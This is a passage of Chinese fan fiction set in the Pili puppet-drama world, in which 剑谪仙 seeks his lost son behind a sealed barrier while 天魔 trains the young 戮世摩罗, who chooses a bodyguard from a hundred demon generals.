“你别以为瞒过了剑谪仙,还能瞒过我与白无垢,那是什么空间裂缝,明明就是非善类族地的结界被你偷偷开了个口子!”圣母说着还忍不住对着表面憨厚实则狡诈的天魔指指点点。 “既然魔婴没有丢失,天魔你还是赶快将魔婴带回吧。”白无垢也没眼看只好直说。 却见天魔讪讪一笑,没有任何动作,见实在过不去圣母和白无垢这一关才破罐子破摔说道:“本座刚刚强行在结界上开了个口子,现今结界自动修复完成,这个弱点已无用处,结界距离下一次正常开启还需二十载。” “那这二十年就放任魔婴留在非善类族地吗?天魔你该知道那里位于魔族地底不见天日之处,乃是一片黑暗的绝地,若不是非善类生存不需要太多资源,你当初也不会将他们安置在那里。”白无垢点出了此事的重点。 天魔闻言亦是正了脸色说道:“虽是绝地,但是结界没百年开启一次,魔族会为他们提供足够的生存物资,非善类很难繁衍,物资向来都有剩余,魔婴生活不成问题,再说魔婴身带天魔嫡脉的特殊魔气,非善类向来忠心,必会好好照顾魔婴。绝地虽不见天日,但魔气精纯浓厚,对魔婴的混血血脉好处更多。放心吧,魔婴在非善类族地绝不会出事!” 圣母和白无垢闻言也被天魔的理由说服了,魔婴是魔妖人三族混血,虽然血脉皆是不凡,但是混血混的太多确实会影响他的潜力上限,在绝地长大会助他壮大魔族血脉,修习魔功更加事半功倍。 另一边的剑谪仙一离开冥界,立刻前往拜访好友禁心和琛奈缺。 此时的禁心与琛奈缺正闲来无聊在院内互相喂招拆招,见剑谪仙来到,两人便顺势停了下来。 “仙宿,才短短时间不见,怎么又想起来看吾了?”禁心好奇问道。 剑谪仙也没有客气,直接把之前发生的事情说了一遍,最后说道:“咱们几人中数好友最为擅长术法,还请好友帮吾寻找吾儿霜白的下落。” 禁心点了点头道:“事关好友幼子,吾责无旁贷。” “灵渊,吾助汝。”琛奈缺接着说道。 “多谢!”剑谪仙这才微微放了点心。 琛奈缺以一身道教正统术法,配合禁心自学的奇门术法,借助剑谪仙的血液施展血缘溯源之术,禁心察觉剑谪仙身上有两道分支,一支自然是月无缺,另一支应该是剑霜白无疑。 禁心感应许久才停下了术法,对剑谪仙说:“人虽然找到了,但被强大的结界限制,无法将人带出。” 剑谪仙闻言急忙问道:“好友能否让吾 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剑谪仙稍微放心了些,便告别了禁心和琛奈缺回转菡茵谷。 月无缺和剑谪仙的大弟子攀玉趾、二弟子黯痕还有刚刚收入门下没多久的小弟子舒龙琴心四人已在菡茵谷等待许久了。 小萝卜头舒龙琴心打量剑谪仙半天,终于忍不住先开口询问:“师尊,师娘和师弟没和你一起回来吗?” 其他三人了解内情,并不奇怪凤锦不在,但是师弟也没在倒是奇怪。 剑谪仙只好又把事情详细讲了一遍。 “姐仔怕是也想不到居然会发生这种事,剑谪仙你最好是在姐仔回归前寻回霜白,否则你就要完了啊!”月无缺同情地看着剑谪仙叹道。 “多言!”剑谪仙长袖一扫不再理会月无缺的挖苦。 “玉趾和黯痕若有事便自去吧,为师和琴心会暂住菡茵谷。”剑谪仙挥手让他们该干嘛干嘛去。 月无缺也不耐烦留在菡茵谷被罗里吧嗦的剑谪仙逮着说,况且这下还多了一个有样学样的琴心小萝卜头。 转回魔族,剑霜白被非善类抚养,二世花王也还未曾降生,玄都事务有金魔傀儡掌管,闲来无事的天魔便把全部的心思放在了教戮世摩罗练武上面。 戮世摩罗虽然失忆了,但是毕竟原本还是个成年人,就算因为穿越空间导致身体年龄缩小,灵魂仍然保有成年人的成熟和理智,相对于真正的小孩子来说,可好带太多了。 况且继承自其父云州大儒侠史艳文的纯阳体,又有凤锦为其植入的金树骨和金魔精血,既不影响他的理智也没让他变得歪瓜裂枣,反而治好了顽固的骨病,戮世摩罗的魔化可称是完美无缺。 无论天魔演示了何种功夫,戮世摩罗只要看过一遍,就能学个七七八八,再多揣摩几遍,用出来就可以假乱真,若有心法口诀相配,青出于蓝也常有,这般出众的武学根骨和悟性,让天魔也震惊不已。 “好了好了,小空,练武过犹不及,要劳逸结合,快来休息一会儿。”圣母满脸慈爱的笑容向满身大汗的戮世摩罗招了招手。 天魔看着戮世摩罗满意地点了点头说道:“恸心掌练的差不多了,下次教你一招天雷爆,天魔心法平时也要多练,现在先休息吧。” “是!天魔!”戮世摩罗说完冲着天魔吐了吐舌头做了个鬼脸。 “说了让你叫阿公,你就叫阿公!” “哎呀,哉了哉了~” 天魔一看戮世摩罗就知道这不是个会消停的小子,准备给他挑选几名手下,主职保镖,兼职保姆。 白无垢已经安排手下自魔军之中挑选了一百名最骁勇善战的精锐魔将,如今就等戮世摩罗去校场挑选了。 休息了一会儿,天魔带着戮世摩罗来到了校场,让戮世摩罗自行去挑选想要的手下。 “阿公,我挑几人都可以吗?”戮世摩罗好奇地问道。 “只要你能压制的住,就是这一百人都给你也无妨!”天魔大气地说道。 “唔……”八九岁的戮世摩罗在一众身高不低于一米九的猛男群中来回穿梭,开始精挑细选。 “这个太胖了不行,这个长的太抽象不行,这个皮肤太黑不行,这个没有头发不行,这个用鞭子我不喜欢,这个头发太红好晃眼不行……”一个又一个精锐魔将在戮世摩罗看似笑话的理由下被刷掉,直到他站到最后一名魔将面前。 “不胖不瘦好评+1,不高不矮好评+1,绿色头发有品位好评+1,面具很帅好评+1,肤色白皙顺眼好评+1,露在外面的下半张脸看着有点小帅好评+1,6分及格!阿公,我就选他了!”戮世摩罗指着眼前的人对天魔说道。 “你的名字!” “妖神将网中人!” “很好!以后你就是戮世摩罗的手下了!”